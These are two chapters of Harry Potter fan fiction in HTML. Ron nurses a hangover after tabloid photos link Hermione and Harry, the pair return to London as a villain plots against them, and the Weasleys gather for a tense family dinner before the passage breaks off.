	(255, 19, ' <p>Authors Note:&nbsp; Thanks again for all the kind reviews! You guys have been great and have kept me going. </p>\n\n<p>&nbsp;</p>\n\n<p>Chapter 19 &nbsp;&nbsp;&nbsp; </p>\n\n<p>Then the Morning Comes </p>\n\n<p>&nbsp;</p>\n\n<p>The Burrow<br>\n\n\n<br>\n\n\n</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As Harry and Hermione were on a plane heading back to London, Ronald Weasley was just waking up in his old bedroom at The Burrow. He had no recollection of how he&#8217;d gotten there or why he was there. The only thing he knew was that if he didn&#8217;t get to a bathroom soon, there would be puke all over the floor. He knew that his mother wouldn&#8217;t like to see that. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He painfully forced himself out of bed and to the bathroom. About 20 minutes later, he came up from the u-bend and looked into the mirror. His skin had turned a dull, pasty color. He grabbed a cup from under the sink and filled it with water from the faucet. He took a long drink and then sat down on the floor. </p>\n\n<p>&#8220;What in bloody hell happened?&#8221; he asked himself out loud. He looked down at his body and noticed that he was dressed in only a white undershirt and a pair of boxer shorts. He took a sniff of the shirt and winced. He smelled like a brewery. That would explain why he felt so bad. </p>\n\n<p>He sat there on the floor trying to recall what had led him to this bizarre state. And then, it all came flooding back to him. </p>\n\n<p>He&#8217;d returned early from New Zealand two days ago. He&#8217;d hoped that Hermione would be back from her self-imposed sabbatical. He&#8217;d missed her. They hadn&#8217;t spent that much time apart in the past, and it wasn&#8217;t something he relished doing. He&#8217;d been upset to find her apartment empty and his knocks at her door, unanswered. </p>\n\n<p>It was outside of Hermione&#8217;s flat where a group of reporters had bombarded him with questions. </p>\n\n<p>&#8220;Did you know that your fiancee was in Hawaii with your best friend?&#8221; one asked. </p>\n\n<p>&#8220;What?&#8221; Ron had answered back. &#8220;What are you on about?&#8221; </p>\n\n<p>&#8220;Do you have a comment about the articles that appeared in both <i>The Daily Prophet</i> and the <i>Wizarding World News?</i> Those pictures seemed to say a lot, didn&#8217;t they, Mr. Weasley?&#8221; another reporter barked at him. </p>\n\n<p>&#8220;Look, I don&#8217;t know what you lot are on about, but-&#8220; he&#8217;d began. </p>\n\n<p>One of the reporters shoved a copy of the newspaper at him and another snapped photos as he read the article. He hadn&#8217;t known what to say. He was shell-shocked. </p>\n\n<p>He finally managed to murmur a firm, &#8220;No comment&#8221; at the reporters and then stormed off. He had no idea where he was going or what he was going to do, but he knew he had to get out of there. </p>\n\n<p>He&#8217;d spent the night at one of the pubs on Diagon Alley. He began drinking alone, but then shared a couple of pints with some older blokes. He drank himself into a stupor and passed out on the floor of the pub. He vaguely remembered his brother George picking him up and carrying him out of the pub. He could even vaguely remember his mother&#8217;s earsplitting screams at him. </p>\n\n<p>&nbsp;</p>\n\n<p>He&#8217;d always wondered about the two of them&#8212;Harry and Hermione. He&#8217;d always felt that there was more than meets the eye there. Seeing those pictures and that article only confirmed it for him. They lied to him. The two people he trusted with his life had lied to him. </p>\n\n<p>The optimistic side of him hoped it was like it was in fourth year when that awful Rita Skeeter woman had written those articles about Harry and Hermione being a couple. Those articles had been a bunch of rubbish. Maybe this was the same situation. </p>\n\n<p>He should hear their side of the story. Maybe there was a reasonable explanation for it all. </p>\n\n<p>Where there was smoke, though, there was usually fire. No, he told himself, let&#8217;s just wait and hear what they have to say about it all. Then, we&#8217;ll go on from there.</p>\n\n<p>Ron got up from the floor and splashed some water on his face. He took a comb to his hair and when he thought he finally looked somewhat presentable for his parents, he opened the bathroom door.</p>\n\n<p>He still felt dizzy, but did manage to make it down the spiral staircase to the kitchen. For a moment, he stood in the middle of the staircase and surveyed the scene below. His mother was standing over the stove, cooking bacon and eggs. His father had no doubt already gone into work at The Ministry. His brother, George sat at the table, drinking a glass of juice and reading over some paperwork. To Ron&#8217;s dismay, a creak on the steps gave him away. His mother turned to face him. She didn&#8217;t smile at him. </p>\n\n<p>&#8220;Good morning, Ron,&#8221; she said. &#8220;Have a seat. Breakfast is nearly ready.&#8221; </p>\n\n<p>Ron nodded and took a seat across from George. His brother was grinning wickedly at him. </p>\n\n<p>&#8220;Good morning, Ronnie-kins,&#8221; he said, beaming at him. &#8220;Sleep well?&#8221; </p>\n\n<p>&#8220;Oh, sod off, George,&#8221; Ron said, hoarsely. </p>\n\n<p>&#8220;That&#8217;s the thanks I get for saving your sorry arse, then?&#8221; George said. &#8220;Well, next time you decide to get shit-faced, we&#8217;ll make sure to send Fred. It could have been much worse, you know. You could have had Percy come to the rescue.&#8221; </p>\n\n<p>&#8220;That&#8217;s all I need.&nbsp; A line by line reading of the hazards of drinking and magic by Percy Weasley, no thanks, I&#8217;ll pass on that one,&#8221; Ron said, rubbing his eyes. </p>\n\n<p>&#8220;You&#8217;d be better off following your brother Percy&#8217;s example, Ron,&#8221; Molly said. &#8220;Now, I know you&#8217;re hurting, right now, but the answer to your problems isn&#8217;t going to be found at the bottom of a mug at the pub. You&#8217;d never see Percy doing that. I only pray that your little escapade last night doesn&#8217;t wind up in the paper.&#8221;</p>\n\n<p>&#8220;Why not, mum? Would that be so bad? It might cut out the news about my girlfriend off on some Hawaiian paradise shagfest with my best mate,&#8221; Ron said. </p>\n\n<p>Molly took her wand out of her pocket and cast a spell that allowed the food to cook itself. She then took a seat beside her youngest son and put a comforting arm on his shoulder. </p>\n\n<p>&#8220;There&#8217;s bound to be a good explanation for all of this. Harry and Hermione will explain this. You know how the papers have been making up stories about Harry for years,&#8221; Molly said. </p>\n\n<p>&#8220;But, Mum, those pictures,&#8221; Ron said. &#8220;They looked pretty tight, don&#8217;t you think?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They can do wonders with photos these days,&#8221; Molly said. &#8220;Your father&#8217;s been talking about how Muggles can do photo manipulation with computers. It would make perfect sense that wizards can do the same with a simple photograph. Now, let&#8217;s get some food in you.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron felt his stomach lurch at the mere mention of food. &#8220;No, mum. I&#8217;ll just have some juice.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Suit yourself,&#8221; she said. &#8220;George, can I get you something?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, I&#8217;ll have a bash,&#8221; he said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So how did you know where I was last night?&#8221; Ron asked his brother. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Pete Henderson saw you at the pub. Came down the street and into the shop, told me you were there and that I might need to come get you,&#8221; George said, happily taking the plate of food from his mother. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Molly took her own plate outside. She hadn&#8217;t wanted to hear the gory details of Ron&#8217;s drunken night out. Ron turned away from George as George happily devoured his food. Between bites, he filled Ron in on the sketchy details from the night before. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So, I walk in the pub and there you were,&#8221; George said, laughing. &#8220;Singing at the top of your lungs on the top of the bar.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Singing? Me?&#8221; Ron asked. &#8220;How much <i>did </i>I drink last night?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, wait,&#8221; George replied, shaking his hands at his brother. &#8220;It gets so much better, or worse depending on your point of view.&#8221; <br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He paused before going on. Ron suppressed the urge to throttle him on the spot. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, so there you were singing. What was the name of that song? Oh yes, I remember now. &#8216;Heartbreak Hotel&#8217; by that American bloke, Elvis Presley. And the best part, Ron, you were shaking your hips back and forth. It was priceless. I have to admit I stood and watched you for a long while. The next thing I know, your performance came to an abrupt end when you fell off the bar and passed out cold.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron had his head in his hands by the end of the story. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Glad that my pain and suffering and humiliation caused you such joy, George,&#8221; Ron said. He picked up a biscuit from the table and tossed it at George, who managed to duck just in time. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I best be off, I told Fred I&#8217;d open up the shop today,&#8221; George said, taking a biscuit and wrapping it in a napkin. &#8220;Besides, he&#8217;ll be wanting to hear all about your debut performance.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Always glad to entertain you, George,&#8221; Ron said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron took a swig of orange juice from his glass and then set back up the stairs to get in the bath. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry and Hermione had just finished going through customs and picking up their luggage from baggage claim, when Harry pulled a hat out of his carryon bag and a pair of sunglasses. Hermione did the same. They hadn&#8217;t known what would greet them upon their return to London, but they&#8217;d thought they&#8217;d best walk out of the airport incognito, so to speak. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The flight back had been uneventful. They&#8217;d both managed to catch some sleep on the way back. They hadn&#8217;t talked about Ron any further, but he&#8217;d been on both of their minds. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What do we do now?&#8221; Hermione asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Get a cab I guess,&#8221; Harry said. &#8220;Head back to your flat.&#8221;<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Doesn&#8217;t sound like much of a plan,&#8221; Hermione said. &#8220;What if there are reporters camped outside my building?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We can apparate in without having to go through all that,&#8221; Harry said. &#8220;And people say that you&#8217;re the smart one.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione playfully punched him on the arm. &#8220;Not funny.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry managed to hail a cab and within the hour they were just down the street from Hermione&#8217;s flat. To no one&#8217;s surprise, there was a crowd of reporters camped outside the building. They&#8217;d managed to apparate inside the friendly confines of the flat and Harry was busily helping Hermione bring her suitcases into her room.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Vultures, the whole lot of them,&#8221; Hermione said, staring in disbelief out her window at them. &#8220;Can you believe that? Just waiting to pounce on us.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, eventually something else will come along and we&#8217;ll be yesterday&#8217;s news,&#8221; Harry said, sitting down on the couch. He lay back on the sofa and exhaled.&nbsp; He was exhausted both from the long plane ride and the events of the past couple of days. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was silent as she walked away from the window and sat down beside him on the couch. She rested her head on his chest and instinctively he put an arm around her and kissed the top of her head. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What should we do now?&#8221; she asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t know about you, but I&#8217;m positively knackered,&#8221; he said, letting out a yawn. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione followed suit with her own yawn a couple of seconds later. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We could probably just take a nap,&#8221; Harry said. He had already closed his eyes. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione yawned once more and closed her eyes as well. &#8220;Hmmmmm,&#8221; she said contentedly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So, they&#8217;ve returned,&#8221; the master asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, my lord,&#8221; the student said. &#8220;This morning they arrived at Heathrow. Slipped into her flat unnoticed. Apparation, apparently.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good, good,&#8221; the master replied. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s the next step, my lord,&#8221; the student asked him again. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;All in due time, all in due time,&#8221; was his only reply. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They&#8217;ll no doubt have to confront the jilted party at some point, I imagine,&#8221; the master said, hoarsely. &#8220;We&#8217;ll make our move, then. At that dive the Weasley family calls home.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The student looked at him, amazed. While the master&#8217;s strength had improved immensely over the past couple of days, he was still bedridden and seemed not at 100 percent. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you, are you sure that you&#8217;re ready for this. I mean, are you sure you&#8217;re ready to make this move, now?&#8221; the student said, stuttering over the words. As soon as he&#8217;d said them, he knew he shouldn&#8217;t have. The master&#8217;s eyes turned cold and the veins in his forehead began to bulge. The student was frightened. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How dare you challenge my authority, my judgment,&#8221; the master said, frostily. &#8220;Do you have any idea how long I have been planning this attack? Do you have any idea how long I&#8217;ve waited to exact my revenge on this boy? He took everything that ever meant anything to me away from me. I&#8217;m going to take the one thing that he loves more than life itself, as punishment for that. He&#8217;ll soon know what it means to cross me. You had better heed that example. Now, get out of my sight. I can&#8217;t bear to look at you. You&#8217;re weak. You know that? Weak. I don&#8217;t have any time for someone who second guesses my judgment and my decisions.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The student wanted to say something to explain, but one look into those cold, unfeeling eyes and he knew the less said, the better off he&#8217;d be. </p>\n\n<p>He mumbled an apology and then bid a quick retreat outside the safe house. He didn&#8217;t draw an easy breath until he was outside of the house. He&#8217;d never had any pity for Harry Potter or Hermione Granger throughout all of this. Yet, now he feared for them. They had no idea what lay in store for them. If they thought their biggest threat was assuaging Ron Weasley&#8217;s feelings, they had another thing coming. This would be their biggest test ever. Nothing would ever be the same again. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p> '),
	(255, 20, '\n\n\n\n<meta name="Generator" content="Microsoft Office HTML Filter 2.0">\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Originator" content="Microsoft Word 9">\n\n<style>\n\n</style>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Author&#8217;s Note: Sorry for the delay in updates. I had to embrace my inner Hermione and study for a continuing education class for my job and take a killer exam. Spent most of the week studying for it and am happy to say that it paid off and I passed the exam! Yay me! I hope you enjoy this chapter. Thanks for all the kind reviews! </p>\n\n<p>&nbsp;</p>\n\n<p>There&#8217;s a line in here that I borrowed from the movie, &#8220;Sweet Home Alabama&#8221; and from a story that I started but never finished, &#8220;Saved the best for Last&#8221;. </p>\n\n<p>&nbsp;</p>\n\n<p>Chapter 20 </p>\n\n<p>&#8220;Nothing&#8217;s As Bad As It Seems&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>The Weasley family dinners were legendary. Although the family was spread out across the world these days, they all always seemed to make it back home for the weekly Tuesday family dinner. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Molly would usually begin cooking first thing in the morning. By late afternoon, The Burrow was alive with the hypnotic smells of foods like roast beef and Yorkshire pudding, and different types of breads and sweets. George and Fred would always try and sneak in to the kitchen every now and then to sneak a roll or a muffin. Sometimes they were successful in their covert kitchen missions, sometimes not. When they were caught, they had to deal with a not very happy Molly, which no one liked to deal with. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Although he&#8217;d missed many things during his time away, Harry reckoned that Weasley family dinners ranked somewhere near the top. He&#8217;d always considered the Weasleys a sort of surrogate family. Molly and Arthur had always treated him just like another son. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Never once, in the years that he&#8217;d known the family, had he ever dreaded the thought of seeing them. Now, as he sat in Hermione&#8217;s kitchen sipping a cup of tea, he couldn&#8217;t shake the feeling of utter dread and apprehension that had swept over him. He couldn&#8217;t fool himself into thinking that they&#8217;d welcome he and Hermione into their home with open arms and wish them well. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; His love for Hermione hadn&#8217;t come without consequences. To be with her, he&#8217;d had to hurt his best friend and the only family he&#8217;d ever truly known. He didn&#8217;t know how it was possible to be so happy and to feel like such a shit all at the same time. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He and Hermione had slept the majority of the morning and afternoon. They&#8217;d both been worn out from the long flight. They had willingly given in to their exhaustion and got some much needed sleep. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; At just past six, Hermione had woken up. Harry followed suit a few minutes later. Remembering what day it was, they&#8217;d decided, albeit reluctantly, to go and see Ron. They both knew that they longer they put it off, the worse it would get. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione came out of the bathroom, looking refreshed, but somewhat uneasy. She&#8217;d put on a pair of blue jeans and a royal blue v-neck shirt. Around her neck was the silver locket that Harry had given her. She&#8217;d pulled her hair back with a barrette. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Feeling better?&#8221; Harry asked, watching her as she walked into the kitchen. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She gave a weak smile. &#8220;I was just thinking that I&#8217;d much rather confront Fluffy the three-headed dog than do this.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, me too,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know that when I was little and I&#8217;d get nervous about something, my mum would always say, &#8216;Nothing is as bad as you think it&#8217;s going to be,&#8217;&#8221; Hermione said, taking a seat beside Harry at the kitchen table. &#8220;I keep trying to tell myself that.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Does it work?&#8221; Harry asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll let you know after we talk to Ron,&#8221; she said, giving him a slight smile. She leaned in and lay her head on Harry&#8217;s shoulder. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I love you,&#8221; he said, stroking her hair. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I love you, too,&#8221; she said. &#8220;I think I&#8217;ll just hold on to that to get me through this.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That sounds like a plan,&#8221; he said. &#8220;Well, we&#8217;d better get going.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione took a deep breath and got up from the chair. She took Harry&#8217;s hand as he led her toward the door. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nothing is as bad as you think it&#8217;s going to be,&#8221; Hermione repeated again. &#8220;I hope my mum&#8217;s right about this.&#8221;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;George!&#8221; Molly exclaimed, hitting her son over the head with a spatula. &#8220;If you come in here one more time and try and sneak out another biscuit, I will turn you into a---well, I don&#8217;t know what I&#8217;ll do, but it will be very bad.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; George rubbed his sore scalp and dropped the contraband biscuit he&#8217;d held triumphantly in his hands moments earlier. &#8220;All right,&#8221; he said. &#8220;I don&#8217;t think it&#8217;s very nice to torture your family like this though. Making us smell this food all bloody afternoon and not give us a sample every now and then. And you call yourself a mother. You should be ashamed!&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; George took one look at the grimace on his mother&#8217;s face and knew he shouldn&#8217;t push it any further. He smiled sweetly at her and then retreated back to the living room to join his family. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The living room, which was usually abuzz with activity and chatter, was pretty much silent. A sullen-looking Ron sat morosely in the corner. Arthur was discussing his day at work with his son-in-law Draco, who was trying to seem interested as Arthur again discussed the merits of Muggle fax machines. Bill, Charlie and Fred were playing a game of exploding snap near the coffee table. Ginny was trying to get comfortable on the couch. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; George sat down beside his sister and smiled sweetly at her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What do you want, George?&#8221; Ginny said, looking at her brother curiously.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; George pretended to look shocked. &#8220;Why do you think I want something other than to sit beside my pregnant sister and discuss her day.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Ginny said. &#8220;Well, you&#8217;ll be happy to know that around the eighth month of pregnancy, a woman begins to feel-&#8220;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; George put up his hands and waved them at her. &#8220;Stop! Stop! I don&#8217;t think I need to hear about this.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, then,&#8221; Ginny said, laughing. &#8220;What is it that you want from me?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, you know you being with child and all, I was thinking that mum would probably let you go in the kitchen and sneak a biscuit. I mean, it&#8217;s not like she&#8217;d hit you upside the head if you went in there to get something to eat,&#8221; George said, giving her a pleading look. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s nice that you&#8217;re so worried about me and the baby, George,&#8221; she said. &#8220;I suppose you&#8217;d like me to sneak you a biscuit, too. No, thank you. I value my life and the life of my child so I think I&#8217;ll pass on the idea of going into that kitchen.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; George scowled at her. Ginny laughed. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron,&#8221; Ginny said, taking another look at her older brother. He&#8217;d been quiet since they&#8217;d arrived. He&#8217;d barely muttered a hello to them. They&#8217;d all made a pact before arriving that they&#8217;d not mention Harry or Hermione or Hawaii, or pretty much anything that started with the letter &#8220;H&#8221;. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;If he wants to talk about it, we&#8217;ll talk about it,&#8221; Ginny had told her brothers and her husband as they stood outside the Burrow earlier that evening.&nbsp; 